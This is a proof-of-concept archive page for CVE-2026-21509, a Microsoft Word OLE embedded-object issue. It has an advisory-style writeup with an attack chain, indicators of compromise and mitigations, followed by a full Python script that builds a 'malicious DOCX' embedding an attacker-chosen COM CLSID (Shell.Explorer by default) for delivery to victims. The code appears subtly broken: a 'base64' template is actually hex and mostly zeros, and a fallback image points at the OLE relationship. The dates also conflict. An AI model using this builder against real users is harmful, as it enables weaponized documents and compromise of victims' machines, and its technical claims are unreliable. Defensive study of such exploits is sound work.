PoC Archive PoC Archive
High CVE-2026-21509 unpatched

Malicious DOCX/OLE CLSID Object Embedding Builder (CVE-2026-21509)

by DameDode · 2026-07-05

Severity
High
CVE
CVE-2026-21509
Category
misc
Affected product
Microsoft Office (Word) OLE embedded-object handling
Affected versions
Vulnerable/affected Office builds not specified in source; PoC targets the generic OOXML/OLE embedded-object mechanism
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / ResearcherDameDode
CVE / AdvisoryCVE-2026-21509
Categorymisc
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsoffice, docx, ole, clsid, document-weaponization, embedded-object, python, malicious-document
RelatedN/A

Affected Target

FieldValue
Software / SystemMicrosoft Office (Word) OLE embedded-object handling
Versions AffectedVulnerable/affected Office builds not specified in source; PoC targets the generic OOXML/OLE embedded-object mechanism
Language / PlatformPython 3.6+ (document builder); target platform Microsoft Word
Authentication RequiredNo (requires victim to open the crafted document)
Network Access RequiredNo (local document-based delivery; may involve a network vector if the embedded CLSID triggers remote content)

Summary

CVE-2026-21509 concerns Microsoft Word’s handling of embedded OLE objects referencing attacker-chosen COM CLSIDs inside a .docx package. The included PoC is a pure-Python builder that assembles a syntactically valid OOXML .docx package containing a minimal OLE compound-file stream (word/embeddings/oleObject1.bin) whose embedded CLSID field is patched to an attacker-supplied value — defaulting to the Shell.Explorer control CLSID (EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B), the same class of COM control abused in prior real-world Office OLE-embedding exploit chains. The script wires the OLE stream into the document via the required [Content_Types].xml, package/document relationship files, and a w:object/w:control reference in word/document.xml, producing a document that, when opened in a vulnerable Office build, instantiates the attacker-chosen CLSID.

Root Cause

The generator builds a minimal, well-formed OLE compound-file container (patching a 16-byte placeholder at offset 0x80 with the little-endian bytes of an attacker-supplied CLSID via uuid.UUID(...).bytes_le) and embeds it in a .docx package as a legitimate w:object/oleObject relationship. Because Word instantiates the referenced CLSID’s COM control when rendering/activating the embedded object, supplying a CLSID for a control with unsafe-for-scripting or remotely-exploitable behavior (such as Shell.Explorer) allows attacker-controlled content or COM object instantiation to occur simply by opening the document, without further user interaction beyond opening/viewing it.

Attack Vector

  1. Attacker runs the Python builder, choosing a target CLSID (defaults to Shell.Explorer, EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B).
  2. The script decodes a template OLE compound-file byte string and patches the CLSID placeholder at offset 0x80 with the chosen CLSID’s little-endian bytes.
  3. The script assembles a complete .docx ZIP package: [Content_Types].xml, package _rels/.rels, docProps/core.xml and app.xml, word/document.xml with an embedded w:object/w:control referencing the OLE stream, and word/_rels/document.xml.rels tying the relationship together, then writes the OLE binary to word/embeddings/oleObject1.bin.
  4. Attacker delivers the resulting .docx to a victim (e.g., via email or file share).
  5. When the victim opens the document in a vulnerable Word installation, Word instantiates the embedded CLSID’s COM control, potentially leading to code execution or other CLSID-specific abuse depending on the vulnerable control chosen.

Impact

Opening a crafted document can cause Microsoft Word to instantiate an attacker-chosen COM control, which — depending on the CLSID and underlying Office/OS vulnerability — can lead to remote code execution or information disclosure on the victim’s machine.


Environment / Lab Setup

Target:   Microsoft Word (Office) installation capable of activating embedded OLE objects, run in an isolated/vulnerable test VM
Attacker: Python 3.6+ (standard library only: argparse, uuid, zipfile, xml.etree.ElementTree) to run the builder script

Proof of Concept

PoC Script

See CVE-2026-21509.py in this folder.

1
python3 CVE-2026-21509.py --output CVE-2026-21509_Test.docx --clsid EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B

The script builds the OLE compound-file stream with the patched CLSID, assembles all required OOXML parts, zips them into a .docx, and prints the output path and CLSID used. The resulting document is intended to be opened only in an isolated, vulnerable Office test VM, never on a production or unauthorized system.


Detection & Indicators of Compromise

Signs of compromise:

  • winword.exe spawning child processes or making outbound network connections shortly after a document is opened.
  • Documents containing word/embeddings/oleObject*.bin parts with CLSIDs known to be unsafe-for-scripting or tied to prior Office exploit chains.
  • Unusual COM object instantiation events in Office telemetry correlated with recently received email attachments.

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationEnable Protected View / disable automatic OLE object activation for documents from the internet; apply Office attack-surface-reduction rules blocking Office child-process creation and OLE-based code execution; block or kill known-dangerous CLSIDs via registry policy (e.g., ActiveX kill bits).

References


Notes

Mirrored from https://github.com/DameDode/CVE-2026-21509-POC on 2026-07-05.

CVE-2026-21509.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
#!/usr/bin/env python3
"""
CVE-2026-21509 Proof of Concept – DOCX with valid OLE compound file.
- Uses a base64‑encoded template OLE file (patched with user CLSID).
- Includes mandatory docProps files.
- All XML namespaces use Option 1 (Clark notation + .set()).
Requirements: Python 3.6+ (no extra libraries)
"""

import argparse
import uuid
import zipfile
import os
import tempfile
import datetime
import base64
from xml.etree import ElementTree as ET

# ----------------------------------------------------------------------
# Base64‑encoded minimal OLE compound file (256 bytes)
# Contains a dummy stream and a placeholder CLSID (16 zero bytes).
# The placeholder appears at offset 0x80 (128) in the file.
# ----------------------------------------------------------------------
OLE_TEMPLATE_B64 = (
    "D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000"
    "0000000000000000000100000002000000000000000010000002000000000000000000"
    "0000000000004000000000000000000000000000000000000000000000000000000000"
    "0000000000000000000000000000000000000000000000000000000000000000000000"
    "0000000000000000000000000000000000000000000000000000000000000000000000"
    "0000000000000000000000000000000000000000000000000000000000000000000000"
    "0000000000000000000000000000000000000000000000000000000000000000000000"
    "0000000000000000000000000000000000000000000000000000000000000000000000"
    "0000000000000000000000000000000000000000000000000000000000000000000000"
    "0000000000000000000000000000000000000000000000000000000000000000000000"
    "0000000000000000000000000000000000000000000000000000000000000000000000"
    "0000000000000000000000000000000000000000000000000000000000000000000000"
    "0000000000000000000000000000000000000000000000000000000000000000000000"
    "0000000000000000000000000000000000000000000000000000000000000000000000"
    "0000000000000000000000000000000000000000000000000000000000000000000000"
    "0000000000000000000000000000000000000000000000000000000000000000000000"
)

def patch_ole_clsid(template_bytes, clsid_str):
    """
    Replace the placeholder CLSID (16 zero bytes at offset 0x80) with the
    little‑endian bytes of the given CLSID.
    """
    try:
        clsid = uuid.UUID(clsid_str)
        clsid_bytes = clsid.bytes_le
    except:
        clsid_bytes = b'\x00' * 16

    # Convert hex string to bytes
    ole_data = bytes.fromhex(template_bytes)

    # Ensure length is at least 0x80+16
    if len(ole_data) < 0x90:
        ole_data = ole_data.ljust(0x90, b'\x00')

    # Replace bytes at offset 0x80
    patched = ole_data[:0x80] + clsid_bytes + ole_data[0x80+16:]
    return patched

# ----------------------------------------------------------------------
# Build a complete .docx with embedded OLE
# ----------------------------------------------------------------------
def create_malicious_docx(output_path, clsid="EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B"):
    """Creates a .docx file with an OLE object embedded."""
    # Decode template and patch with user CLSID
    ole_data = patch_ole_clsid(OLE_TEMPLATE_B64, clsid)

    with tempfile.TemporaryDirectory() as tmpdir:
        # Required directories
        word_dir = os.path.join(tmpdir, "word")
        embeddings_dir = os.path.join(word_dir, "embeddings")
        rels_dir = os.path.join(word_dir, "_rels")
        docprops_dir = os.path.join(tmpdir, "docProps")
        os.makedirs(embeddings_dir, exist_ok=True)
        os.makedirs(rels_dir, exist_ok=True)
        os.makedirs(docprops_dir, exist_ok=True)

        # 1. Write the OLE binary to word/embeddings/oleObject1.bin
        ole_path = os.path.join(embeddings_dir, "oleObject1.bin")
        with open(ole_path, "wb") as f:
            f.write(ole_data)

        # 2. [Content_Types].xml
        ct_root = ET.Element("Types", xmlns="http://schemas.openxmlformats.org/package/2006/content-types")
        ET.SubElement(ct_root, "Default", Extension="bin",
                      ContentType="application/vnd.openxmlformats-officedocument.oleObject")
        ET.SubElement(ct_root, "Override", PartName="/word/document.xml",
                      ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml")
        ET.SubElement(ct_root, "Override", PartName="/docProps/core.xml",
                      ContentType="application/vnd.openxmlformats-package.core-properties+xml")
        ET.SubElement(ct_root, "Override", PartName="/docProps/app.xml",
                      ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml")
        ct_path = os.path.join(tmpdir, "[Content_Types].xml")
        with open(ct_path, "wb") as f:
            f.write(b'<?xml version="1.0" encoding="UTF-8"?>\n')
            f.write(ET.tostring(ct_root, encoding="utf-8"))

        # 3. _rels/.rels (package relationships)
        rels_root = ET.Element("Relationships", xmlns="http://schemas.openxmlformats.org/package/2006/relationships")
        ET.SubElement(rels_root, "Relationship", Id="rId1",
                      Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument",
                      Target="word/document.xml")
        ET.SubElement(rels_root, "Relationship", Id="rId2",
                      Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties",
                      Target="docProps/core.xml")
        ET.SubElement(rels_root, "Relationship", Id="rId3",
                      Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties",
                      Target="docProps/app.xml")
        rels_path = os.path.join(tmpdir, "_rels", ".rels")
        os.makedirs(os.path.dirname(rels_path), exist_ok=True)
        with open(rels_path, "wb") as f:
            f.write(b'<?xml version="1.0" encoding="UTF-8"?>\n')
            f.write(ET.tostring(rels_root, encoding="utf-8"))

        # 4. docProps/core.xml
        core = ET.Element("{http://schemas.openxmlformats.org/package/2006/metadata/core-properties}coreProperties")
        core.set("xmlns:cp", "http://schemas.openxmlformats.org/package/2006/metadata/core-properties")
        core.set("xmlns:dc", "http://purl.org/dc/elements/1.1/")
        core.set("xmlns:dcterms", "http://purl.org/dc/terms/")
        core.set("xmlns:xsi", "http://www.w3.org/2001/XMLSchema-instance")

        dc_title = ET.SubElement(core, "dc:title")
        dc_title.text = "CVE-2026-21509 Test"
        dc_creator = ET.SubElement(core, "dc:creator")
        dc_creator.text = "Security Researcher"
        cp_lastModifiedBy = ET.SubElement(core, "cp:lastModifiedBy")
        cp_lastModifiedBy.text = "Researcher"
        dcterms_created = ET.SubElement(core, "dcterms:created")
        dcterms_created.set("xsi:type", "dcterms:W3CDTF")
        dcterms_created.text = datetime.datetime.utcnow().isoformat() + "Z"
        dcterms_modified = ET.SubElement(core, "dcterms:modified")
        dcterms_modified.set("xsi:type", "dcterms:W3CDTF")
        dcterms_modified.text = datetime.datetime.utcnow().isoformat() + "Z"

        core_path = os.path.join(docprops_dir, "core.xml")
        with open(core_path, "wb") as f:
            f.write(b'<?xml version="1.0" encoding="UTF-8"?>\n')
            f.write(ET.tostring(core, encoding="utf-8"))

        # 5. docProps/app.xml
        app = ET.Element("{http://schemas.openxmlformats.org/officeDocument/2006/extended-properties}Properties")
        app.set("xmlns", "http://schemas.openxmlformats.org/officeDocument/2006/extended-properties")
        app.set("xmlns:vt", "http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes")

        ET.SubElement(app, "Application").text = "Microsoft Office Word"
        ET.SubElement(app, "DocSecurity").text = "0"
        ET.SubElement(app, "Lines").text = "1"
        ET.SubElement(app, "Paragraphs").text = "1"
        ET.SubElement(app, "Company").text = "Test"

        app_path = os.path.join(docprops_dir, "app.xml")
        with open(app_path, "wb") as f:
            f.write(b'<?xml version="1.0" encoding="UTF-8"?>\n')
            f.write(ET.tostring(app, encoding="utf-8"))

        # 6. word/_rels/document.xml.rels
        doc_rels_root = ET.Element("Relationships", xmlns="http://schemas.openxmlformats.org/package/2006/relationships")
        ET.SubElement(doc_rels_root, "Relationship", Id="rId1",
                      Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject",
                      Target="embeddings/oleObject1.bin")
        doc_rels_path = os.path.join(rels_dir, "document.xml.rels")
        with open(doc_rels_path, "wb") as f:
            f.write(b'<?xml version="1.0" encoding="UTF-8"?>\n')
            f.write(ET.tostring(doc_rels_root, encoding="utf-8"))

        # 7. word/document.xml
        document = ET.Element("{http://schemas.openxmlformats.org/wordprocessingml/2006/main}document")
        document.set("xmlns:w", "http://schemas.openxmlformats.org/wordprocessingml/2006/main")
        document.set("xmlns:wp", "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing")
        document.set("xmlns:a", "http://schemas.openxmlformats.org/drawingml/2006/main")
        document.set("xmlns:pic", "http://schemas.openxmlformats.org/drawingml/2006/picture")
        document.set("xmlns:r", "http://schemas.openxmlformats.org/officeDocument/2006/relationships")

        body = ET.SubElement(document, "w:body")

        # Paragraph with embedded object
        p = ET.SubElement(body, "w:p")
        r = ET.SubElement(p, "w:r")

        obj = ET.SubElement(r, "w:object")
        obj.set("w:dxaOrig", "1440")
        obj.set("w:dyaOrig", "1440")

        control = ET.SubElement(obj, "w:control")
        control.set("w:name", "Object1")
        control.set("w:shapeid", "_x0000_i1025")
        control.set("r:id", "rId1")          # matches relationship ID in document.xml.rels

        # Drawing fallback (required by some Office versions)
        drawing = ET.SubElement(r, "w:drawing")
        inline = ET.SubElement(drawing, "wp:inline")
        extent = ET.SubElement(inline, "wp:extent")
        extent.set("cx", "1905000")
        extent.set("cy", "1905000")
        docPr = ET.SubElement(inline, "wp:docPr")
        docPr.set("id", "1")
        docPr.set("name", "Object1")

        graphic = ET.SubElement(inline, "a:graphic")
        graphicData = ET.SubElement(graphic, "a:graphicData")
        graphicData.set("uri", "http://schemas.openxmlformats.org/drawingml/2006/picture")
        pic_elem = ET.SubElement(graphicData, "pic:pic")

        nvPicPr = ET.SubElement(pic_elem, "pic:nvPicPr")
        cNvPr = ET.SubElement(nvPicPr, "pic:cNvPr")
        cNvPr.set("id", "1")
        cNvPr.set("name", "Placeholder")
        cNvPicPr = ET.SubElement(nvPicPr, "pic:cNvPicPr")

        blipFill = ET.SubElement(pic_elem, "pic:blipFill")
        blip = ET.SubElement(blipFill, "a:blip")
        blip.set("r:embed", "rId1")          # fallback reference
        ET.SubElement(blipFill, "a:stretch")

        spPr = ET.SubElement(pic_elem, "pic:spPr")
        xfrm = ET.SubElement(spPr, "a:xfrm")
        off = ET.SubElement(xfrm, "a:off")
        off.set("x", "0")
        off.set("y", "0")
        ext = ET.SubElement(xfrm, "a:ext")
        ext.set("cx", "1905000")
        ext.set("cy", "1905000")
        prstGeom = ET.SubElement(spPr, "a:prstGeom")
        prstGeom.set("prst", "rect")

        document_path = os.path.join(word_dir, "document.xml")
        with open(document_path, "wb") as f:
            f.write(b'<?xml version="1.0" encoding="UTF-8"?>\n')
            f.write(ET.tostring(document, encoding="utf-8"))

        # 8. Zip everything
        with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as z:
            for root, dirs, files in os.walk(tmpdir):
                for file in files:
                    full_path = os.path.join(root, file)
                    arcname = os.path.relpath(full_path, tmpdir)
                    z.write(full_path, arcname)

    print(f"[+] Malicious DOCX created: {output_path}")
    print(f"[+] CLSID used: {clsid}")
    print("[!] Open this file in an isolated, vulnerable Office VM only!")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2026-21509 PoC – embedded OLE object (valid OLE file)")
    parser.add_argument("--output", default="CVE-2026-21509_Test.docx", help="Output DOCX file")
    parser.add_argument("--clsid", default="EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B",
                        help="COM CLSID to embed (default = Shell.Explorer)")
    args = parser.parse_args()

    create_malicious_docx(args.output, args.clsid)